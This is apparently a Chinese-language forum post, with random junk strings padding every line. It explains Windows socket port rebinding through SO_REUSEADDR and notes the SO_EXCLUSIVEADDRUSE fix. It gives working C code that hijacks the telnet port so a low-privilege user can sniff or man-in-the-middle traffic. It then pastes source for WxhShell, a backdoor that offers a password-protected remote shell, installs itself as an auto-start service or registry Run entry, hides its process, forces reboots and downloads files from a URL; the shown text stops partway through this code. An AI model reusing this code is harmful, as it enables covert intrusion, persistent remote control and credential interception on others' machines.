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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2waPNb|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7+qKA1t^  
jx2{kK  
  saddr.sin_family = AF_INET; u(\O@5a  
$g/h=w@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m(0X_& &?z  
6Rmdf>a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4S[UJ%  
/'b7q y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0N$FIw2  
?Ygd|a5  
  这意味着什么?意味着可以进行如下的攻击: ./L)BLC i  
K9y~ e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )4m`Ya,E3  
PTqia!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W|y;Kxy  
DuIXv7"[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NRgVNE  
8@RtL,[d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q6<P\CSHy<  
%l6E0[   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [m%]C  
+C[g>c}d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "/mt uU3rt  
m^=El7+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Aa4Tq2G  
U4<c![Pp.  
  #include e =r  b  
  #include Z*Gf`d:  
  #include ~_c1h@  
  #include    }lT;?|n:h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~QDM .5  
  int main() ]V_A4Df  
  { RZ;s_16GQ  
  WORD wVersionRequested; #V%98|"  
  DWORD ret; 44|tCB`  
  WSADATA wsaData; / *PHX@  
  BOOL val; )%3T1 D/  
  SOCKADDR_IN saddr; {]Hv*{ ]  
  SOCKADDR_IN scaddr; Wpi35JrC  
  int err; &i.sSqSI5  
  SOCKET s; k)|.<  
  SOCKET sc; [/%N2mj  
  int caddsize; 2E[7RBFY+\  
  HANDLE mt; !!H"B('m  
  DWORD tid;   -]H~D4ng  
  wVersionRequested = MAKEWORD( 2, 2 ); > pP&/  
  err = WSAStartup( wVersionRequested, &wsaData ); a6^_iSk  
  if ( err != 0 ) { O#^H.B  
  printf("error!WSAStartup failed!\n"); ]z/R?SM  
  return -1; lg~7[=%k#  
  } XNv2xuOcJ  
  saddr.sin_family = AF_INET; ii-AE L  
   -!:5jfT"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =R|XFZ,  
rxH]'6kP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  1/2cb-V  
  saddr.sin_port = htons(23); ZcQu9XDIt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c$%*p (zY  
  { Mjy:k|aY"  
  printf("error!socket failed!\n"); fzQR0  
  return -1; !W9:)5^X  
  } MA6 Vy  
  val = TRUE; %.<_+V#h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %dFJ'[jDL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PD-&(ka.  
  { a[(OeVQ5  
  printf("error!setsockopt failed!\n"); cN8Fn4gq  
  return -1; g}xL7bTlI>  
  } 9ziFjP+1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hEQyaDD;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,T<JNd'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <ak[`]  
"J1A9|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7RL J  
  { -HG .GA  
  ret=GetLastError();  JhFbze>  
  printf("error!bind failed!\n"); <f>w"r  
  return -1; Gl1XRNy C  
  } pOc2V  
  listen(s,2); QL WnP-  
  while(1) d8wVhZKI"  
  { gwRB6m$  
  caddsize = sizeof(scaddr); d-D,Gx]>$  
  //接受连接请求 jtP*C_Scv/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /I=|;FGq  
  if(sc!=INVALID_SOCKET) b0{i +R  
  { ahg:mlaob  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o@e/P;E  
  if(mt==NULL) (Xh <F  
  { #1DEZ4]jjY  
  printf("Thread Creat Failed!\n"); mH&7{2r  
  break; Lt't   
  } rx1u*L  
  } d:(Ex^^  
  CloseHandle(mt); !C#oZU]P  
  } d_yvG.#C  
  closesocket(s); iBSM \ n  
  WSACleanup(); /?'~`4!(  
  return 0; e= IdqkJ%  
  }   "?NDN4l*  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8tx*z"2S  
  { _O`p(6  
  SOCKET ss = (SOCKET)lpParam; j=l2\W#}  
  SOCKET sc; JU?;Kq9R  
  unsigned char buf[4096]; x77L"5g  
  SOCKADDR_IN saddr; vB8$Qx\J  
  long num; K%v:giN$l`  
  DWORD val; lYG`)#T  
  DWORD ret; ^wIB;!W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {N4 'g_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P0l fK}  
  saddr.sin_family = AF_INET; ~T_|?lU`R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $hhXsu=  
  saddr.sin_port = htons(23); lL)f-8DX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J4T"O<i$58  
  { :#YC_ id  
  printf("error!socket failed!\n"); a{kJ`fK   
  return -1; 2{79,Js0  
  } |Ea%nghl  
  val = 100; z% 8`F%2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f24W*#IX  
  { tbS hSbj  
  ret = GetLastError(); @xWWN  
  return -1; }Va((X w  
  } !85bpQ.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3FiK/8mu  
  { ZNBowZI  
  ret = GetLastError(); dc)%5fV\  
  return -1; !Cr3>tA  
  } z!g$#hmL>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KuJ)alD;1  
  { }yT/UlU  
  printf("error!socket connect failed!\n"); cW%)C.M  
  closesocket(sc); IC cr  
  closesocket(ss); ~B;}jI]d[  
  return -1; ,Cr%2Wg-  
  } d5'Q 1"{  
  while(1) 2.v{W-D[  
  { +=($mcw#[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ' [$KG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #/YS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mjD^iu8?  
  num = recv(ss,buf,4096,0); \IL)~5d  
  if(num>0) ;%n'k  
  send(sc,buf,num,0); Yi Zk|K_  
  else if(num==0) /|v4]t-  
  break; 2y`h'z  
  num = recv(sc,buf,4096,0); Qder8I  
  if(num>0) kkl'D!z2g  
  send(ss,buf,num,0); PysDDU}v  
  else if(num==0) !ZTghX}D  
  break; HyzSHI  
  } !<];N0nt#  
  closesocket(ss); `3\aX|4@  
  closesocket(sc); kK75(x  
  return 0 ; n-9xfn0U~#  
  } r?DCR\Jq  
VP1hocW  
<+*0{8?0  
========================================================== %"{P?V<-V  
j@4MV^F2c  
下边附上一个代码,,WXhSHELL %,[,mW4l   
V?EX`2S  
========================================================== )c11_1;  
F~Dof({:  
#include "stdafx.h" h7Uj "qH  
6Q:Wo)^!  
#include <stdio.h> h3`}{ w  
#include <string.h> 5t%8y!s  
#include <windows.h> uw3vYYFX  
#include <winsock2.h> gXI-{R7Me  
#include <winsvc.h> WWp MuB_G  
#include <urlmon.h> 3k'Bje?9~  
6xDk3   
#pragma comment (lib, "Ws2_32.lib") n3p@duC4  
#pragma comment (lib, "urlmon.lib") =][ )|n  
|3~m8v2-  
#define MAX_USER   100 // 最大客户端连接数 6Amt75RY  
#define BUF_SOCK   200 // sock buffer ChK-L6  
#define KEY_BUFF   255 // 输入 buffer X$@`4  
eWFkUjz  
#define REBOOT     0   // 重启 J$6WUz:?  
#define SHUTDOWN   1   // 关机 cvsH-uAp  
Pm%xX~H  
#define DEF_PORT   5000 // 监听端口 >N#Nz 0|(  
o}Grb/LJ  
#define REG_LEN     16   // 注册表键长度 ?pZ"7kkD  
#define SVC_LEN     80   // NT服务名长度 _;3,  
vb^fx$V  
// 从dll定义API c!E{fSP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {^1O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CT'4.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s4|tWfZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V.{HMeE4  
Md4Q.8  
// wxhshell配置信息 .F,l>wUNe  
struct WSCFG { P%:?"t+J`;  
  int ws_port;         // 监听端口 X| \`\[  
  char ws_passstr[REG_LEN]; // 口令 LM eI[Ji  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;t*SG*Vi  
  char ws_regname[REG_LEN]; // 注册表键名  +rv##Z  
  char ws_svcname[REG_LEN]; // 服务名 poAJl;T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E2M<I;:EA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t*= nI $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d0B`5#4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m]V#fRC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "m{i`<,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /wEl\Kx  
'!A}.wF0  
}; ;SE*En  
!:xycLdfUp  
// default Wxhshell configuration s=:)!M.i  
struct WSCFG wscfg={DEF_PORT, _FOIMjh%N  
    "xuhuanlingzhe", Dh4 Lffy  
    1, pnuo;rs  
    "Wxhshell", &wlD`0v  
    "Wxhshell", I=dn]}b#P  
            "WxhShell Service", pfZ[YC-  
    "Wrsky Windows CmdShell Service", {XIpH r  
    "Please Input Your Password: ", /ckk qk"  
  1, j_5&w Znq  
  "http://www.wrsky.com/wxhshell.exe", r^6@Zwox]  
  "Wxhshell.exe" .tKBmq0xo"  
    }; J;~YD$  
:xHKbWz6j  
// 消息定义模块 5/Qu5/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]2l}[ w71|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a>l,H#w*vW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YCE *Dm  
char *msg_ws_ext="\n\rExit."; 7vXP|8j  
char *msg_ws_end="\n\rQuit."; $(gL#"T  
char *msg_ws_boot="\n\rReboot..."; 8x- 19#  
char *msg_ws_poff="\n\rShutdown..."; 3Qd/X&P  
char *msg_ws_down="\n\rSave to "; ujnT B*Cqc  
?{aC-3VAT  
char *msg_ws_err="\n\rErr!"; 9<0yz?b':  
char *msg_ws_ok="\n\rOK!"; 5eL b/,R  
$1B?@~&  
char ExeFile[MAX_PATH]; @p~scE.#\  
int nUser = 0; JmDxsb^  
HANDLE handles[MAX_USER]; KDb j C'3  
int OsIsNt; 0^tY|(b3/M  
05{}@tW-  
SERVICE_STATUS       serviceStatus; =8#.=J[/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  &lU\9  
[K,P)V>K  
// 函数声明 JwxKWVpWv  
int Install(void); FRR05%K  
int Uninstall(void); Eoixw8hz  
int DownloadFile(char *sURL, SOCKET wsh); &k,DAx`rN;  
int Boot(int flag); ZHjL8Iq  
void HideProc(void); VqvjOeCbH  
int GetOsVer(void); oh:9v+  
int Wxhshell(SOCKET wsl); V*PL_|Q5  
void TalkWithClient(void *cs); ip<VRC5`5  
int CmdShell(SOCKET sock); D'u7"^=  
int StartFromService(void); lCUYE"o  
int StartWxhshell(LPSTR lpCmdLine); WPsfl8@D  
.-iW T4Dn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); awo'#Y2>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bwhH2^ !  
'u x!:b"  
// 数据结构和表定义 Nc(CGl:  
SERVICE_TABLE_ENTRY DispatchTable[] = L!*+: L DL  
{ Lu6g`O:['  
{wscfg.ws_svcname, NTServiceMain}, JDR_k  
{NULL, NULL} N,K/Ya)1  
}; hsrf2Xw[  
;AJQ2  
// 自我安装 M5w/TN  
int Install(void) :,JjN&  
{ ~Z/,o)  
  char svExeFile[MAX_PATH]; O=+$X Pa|  
  HKEY key; l+ >eb  
  strcpy(svExeFile,ExeFile); v.<mrI#?  
' m~=sC_uL  
// 如果是win9x系统,修改注册表设为自启动 DFWO5Y_  
if(!OsIsNt) { 1UJrPM%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -GFZFi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v]{UH {6  
  RegCloseKey(key); h-1?c\Qq:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BZ:tVfg.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [HY r|T  
  RegCloseKey(key); m=l'9j"D  
  return 0; <skqq+  
    } u*Xp%vNe  
  } }ww/e\|Nt=  
} {,sqUq (  
else {  "&k(lQ4  
rWL;pM<  
// 如果是NT以上系统,安装为系统服务 SC~k4&xy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \fTQNF  
if (schSCManager!=0) :K^J bQ  
{ JXJ+lZmsz  
  SC_HANDLE schService = CreateService w1"+HJd  
  ( p}JOiiHa  
  schSCManager, ` 'Qb?F6  
  wscfg.ws_svcname, BJUj#s0$  
  wscfg.ws_svcdisp, Su,:f_If,  
  SERVICE_ALL_ACCESS, B%;MGb o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,J|,wNDU!K  
  SERVICE_AUTO_START, D;C';O  
  SERVICE_ERROR_NORMAL, 2.z-&lFBZ  
  svExeFile, KCTX2eNN&h  
  NULL, d:';s~  
  NULL, CfU|]<  
  NULL, _F%`7j  
  NULL, uem-fTG  
  NULL DD$> 3`  
  ); p?Azn>qBa  
  if (schService!=0) y+ze`pL?  
  { mcez3gH  
  CloseServiceHandle(schService); (*$bTI/~  
  CloseServiceHandle(schSCManager); .}!.4J%q2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h`|04Q  
  strcat(svExeFile,wscfg.ws_svcname); xrkl)7;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o]oiJvOr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <PpvVDy3  
  RegCloseKey(key); ]X>yZec  
  return 0; _f[Q\gK  
    } R7bG!1SHl  
  } q ;'f3Y  
  CloseServiceHandle(schSCManager); ZkbE&7Z  
} SL4?E<Jb  
} ~w>h#{RB  
Z[. M>|  
return 1; Xi&J%N'  
} dgw.OXa  
G>V6{g2Q  
// 自我卸载 .hat!Tt9  
int Uninstall(void) F^O83[S  
{ :skR6J  
  HKEY key; y+(\:;y$7  
hk~/W}sI  
if(!OsIsNt) { glMHT,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6z9 '|;,4  
  RegDeleteValue(key,wscfg.ws_regname); fM;,9  
  RegCloseKey(key); 7{|QkTgC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WUYI1Ij;  
  RegDeleteValue(key,wscfg.ws_regname); <sH}X$/  
  RegCloseKey(key); @RoZd?  
  return 0; D4=*yP  
  } IP62|~Ap  
} ote,`h  
} po*G`b;v  
else { p-[WpY3  
g@`i7qN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A'|!O:s   
if (schSCManager!=0)  js_`L#t  
{ >d/H4;8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L)sgW(@2  
  if (schService!=0) ot^pxun  
  { %=aKW[uq]  
  if(DeleteService(schService)!=0) { {a7~P0$  
  CloseServiceHandle(schService); bNea5u##  
  CloseServiceHandle(schSCManager); |YJ83nSO~  
  return 0; X,QsE{  
  } =kd$??F  
  CloseServiceHandle(schService); Wc3z7xK1@  
  } !/zRw-q3B  
  CloseServiceHandle(schSCManager); $]2)r[eA)  
} 6Z2,:j;  
} d#ir=+o{h  
PMzPj,  
return 1; mayJwBfU  
} {K,In)4  
2{OR#v~  
// 从指定url下载文件 XjX  
int DownloadFile(char *sURL, SOCKET wsh) xnP!P2  
{ ,erw(7}'.  
  HRESULT hr; ?"B] "%M&  
char seps[]= "/"; 9j,g&G.K  
char *token; ,WT>"9+  
char *file; 4QL>LK  
char myURL[MAX_PATH]; EYAaK^ &  
char myFILE[MAX_PATH]; FKa";f"  
Z~5) )5Ye;  
strcpy(myURL,sURL); G-aR%]7$g  
  token=strtok(myURL,seps); jwZ,_CK  
  while(token!=NULL) mB?x_6#d9  
  { M^FY6TT4O  
    file=token; 0 'QWa{dS\  
  token=strtok(NULL,seps); }Mc b\+[  
  } IPiV_c-l  
4fEDg{T  
GetCurrentDirectory(MAX_PATH,myFILE); g)D_  !iz  
strcat(myFILE, "\\"); JAPr[O&  
strcat(myFILE, file); {z#2gc'Q  
  send(wsh,myFILE,strlen(myFILE),0); WjV15\,  
send(wsh,"...",3,0); !rvEo =^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mgs(n5V5  
  if(hr==S_OK) x(_[D08/TT  
return 0; 0#q=-M/?`  
else N ##`  
return 1; (\V i _  
PnlI {d  
} <n"BPXF~  
;JW_4;-  
// 系统电源模块 EY}:aur  
int Boot(int flag) $vO&C6m$  
{ yV30x9i!2  
  HANDLE hToken; gv#\}/->4  
  TOKEN_PRIVILEGES tkp; *GP2>oEM  
r~w.J+W  
  if(OsIsNt) { YO6BzS/~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [}RoZB&I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (~T*yH ~  
    tkp.PrivilegeCount = 1; iCt.rr~;V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^)VwxH:s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v9$!v^U"D  
if(flag==REBOOT) { }[*'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K|& f5w  
  return 0; C*9X;+S0J  
} #el27"QP0  
else { M>Q]{/V7T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3>,}N9P-v  
  return 0; b}J%4Lx%m  
} ~5 ^Jv m  
  } N^^0j,  
  else { Fsx?(?tCMo  
if(flag==REBOOT) { )Q)qz$h@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *bkb-n Kw  
  return 0; @KG0QHyiU  
} X/!_>@`7?  
else { rg/{5f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "fFSZ@,r  
  return 0; KKeMi@N  
}  cby#  
} 1Pf(.&/9_  
7#8Gn=g  
return 1; gN&i &%*!  
} Io6/Fv>!  
9I/b$$?D  
// win9x进程隐藏模块 &&ioGy}1  
void HideProc(void) UD I{4+z  
{ dZM^?rq  
$KHm5*;nd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E-LkP;  
  if ( hKernel != NULL ) j!;LN)s@?  
  { -(VJ,)8t2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); > mGH4{H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9hp&HL)BOa  
    FreeLibrary(hKernel); %E?Srs}j  
  } ?u|??z%  
jnH\}IB  
return; gY}In+S  
} 7Q 3!= b  
MDMd$] CW  
// 获取操作系统版本 \0$+*ejz  
int GetOsVer(void) 8-$t7bV5  
{ j50vPV8m  
  OSVERSIONINFO winfo; ]TV_ p[L0B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0.GFg${v`  
  GetVersionEx(&winfo); 8f@}-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  T:}Q3  
  return 1; 'K[ml ?_  
  else f@*69a8  
  return 0; nep#L>LP$x  
} (f/(q-7VWt  
"~KDm(D  
// 客户端句柄模块 X2w)J?pv  
int Wxhshell(SOCKET wsl) ;$p!dI\-Q  
{ xJq|,":gj  
  SOCKET wsh; Y2|i>5/|<  
  struct sockaddr_in client; *yq65yZi5  
  DWORD myID; js$R^P  
(m]l -Re  
  while(nUser<MAX_USER) Q3@zUjq_Q  
{ 72HA.!ry  
  int nSize=sizeof(client); Koa9W >!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D 0Xl`0"'  
  if(wsh==INVALID_SOCKET) return 1; CS^6$VL7e  
aNbS0R>l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +Z`=iia>  
if(handles[nUser]==0) -cqE^qAdX  
  closesocket(wsh); VKa+[  
else U}92%W?  
  nUser++; r@G*Fx8Z  
  } @]uqC~a^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mj0 ,Y#=76  
6St=r)_  
  return 0; OB>Hiy   
} @K;b7@4y  
^[<BMk  
// 关闭 socket Ek +R  
void CloseIt(SOCKET wsh) }#z1>y!#  
{ {Jn0G;  
closesocket(wsh); 9A |A@E#  
nUser--; ~^wSwd[  
ExitThread(0); Okq,p=D6  
} 3Z*r#d$nh:  
<2U#U;  
// 客户端请求句柄 ;m7V]h? R  
void TalkWithClient(void *cs) s-p)^B  
{ ^*.[b  
Xhe& "rM  
  SOCKET wsh=(SOCKET)cs; PV68d; $:8  
  char pwd[SVC_LEN]; {FI zoR"  
  char cmd[KEY_BUFF]; c^}G=Z1@  
char chr[1]; xHgC':l(0  
int i,j; & ALnE:F  
}`R,C~-|^  
  while (nUser < MAX_USER) { PMjNc_))  
D e&,^"%  
if(wscfg.ws_passstr) { qu B[S)2}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ow 0>qzTg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T//xxH]w-  
  //ZeroMemory(pwd,KEY_BUFF); a4:GGzt  
      i=0; ^\}MG!l  
  while(i<SVC_LEN) { e=;A3S  
BN*:*cmUl  
  // 设置超时 a (U52dO,  
  fd_set FdRead; _k:8ib2TQ  
  struct timeval TimeOut; pg{VKrT`  
  FD_ZERO(&FdRead); 6 Bq_<3P_  
  FD_SET(wsh,&FdRead); #j2kT  
  TimeOut.tv_sec=8;  3IxC@QR  
  TimeOut.tv_usec=0; |>Q>d8|k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =3-=p&*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = l(euBb  
~'M<S=W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SkuR~!  
  pwd=chr[0]; FJn-cR.n  
  if(chr[0]==0xd || chr[0]==0xa) { eT b!xb  
  pwd=0; !Yof%%m$;  
  break; dN5{W0_  
  } uV:R3#^  
  i++; py;p7y!gxA  
    } x-i1:W9;  
EE 9w^.3a  
  // 如果是非法用户,关闭 socket h,c*:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;JxL>K(  
} gnJ8tuS  
J~%43!X\K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [}szM^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WW:G( \`  
J9lZ1,22  
while(1) { >YI Vi4''  
0?54 8yH  
  ZeroMemory(cmd,KEY_BUFF); N sdpE?V  
Kk^*#vR  
      // 自动支持客户端 telnet标准   3sr_V~cZ9  
  j=0; <0d2{RQ;  
  while(j<KEY_BUFF) { ,X4b~)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a``|sn9  
  cmd[j]=chr[0]; Q:b0M11QR  
  if(chr[0]==0xa || chr[0]==0xd) { i"&FW&W  
  cmd[j]=0; 0&s6PS%  
  break; ]5'$EAsuW  
  } hDxq9EF  
  j++; 'xH^ksb"  
    } ? xR7Ii3  
7^><Vh"qV  
  // 下载文件 2.3_FXSt  
  if(strstr(cmd,"http://")) { 6x^$W ]R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !<M eWo  
  if(DownloadFile(cmd,wsh)) X,Na4~JO(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z>W:+W"o  
  else J+/}m}bx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _:Qh1 &h  
  } c|/HX%Y  
  else { CyIlv0fd}  
C6)Y ZC  
    switch(cmd[0]) { 6U{A6hH]  
  _)45G"M  
  // 帮助 ny{C,1QG  
  case '?': { $e+sqgU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -+"#G?g  
    break; T >8P1p@A,  
  } I/7!5Z*  
  // 安装 necY/&Ld-  
  case 'i': { =e6p v#  
    if(Install()) z>PVv)X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p{Q6g>?[  
    else DZ|*hQU>K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MtJ-pa~n  
    break; m]jA(  
    } tz):$1X_  
  // 卸载 uZ?P{E,K  
  case 'r': { W_B=}lP@x  
    if(Uninstall()) T ipH}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'OnfU{Ai  
    else %"`p&aE:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yX!fj\R  
    break; :^y!z1\2(7  
    } =7V4{|ESfy  
  // 显示 wxhshell 所在路径 k'iiRRM  
  case 'p': { )=f}vHg$  
    char svExeFile[MAX_PATH]; Hf('BagBL  
    strcpy(svExeFile,"\n\r"); OQumA j  
      strcat(svExeFile,ExeFile); 6La[( )  
        send(wsh,svExeFile,strlen(svExeFile),0); b d 1^  
    break; ^t'mW;C$4  
    } hwGK),?"+  
  // 重启 %* 0GEfl/  
  case 'b': { D|OGlP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zbnxs.i!  
    if(Boot(REBOOT)) w Q[|D2;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [r`KoHwdm  
    else { Z 7@'I0;A  
    closesocket(wsh); i~Tt\UA>  
    ExitThread(0); jz f~n~  
    } $$ND]qM$M  
    break; l`\L@~ln  
    } &6\&McmkX  
  // 关机 ~m=GS[=  
  case 'd': { \oPe" k=  
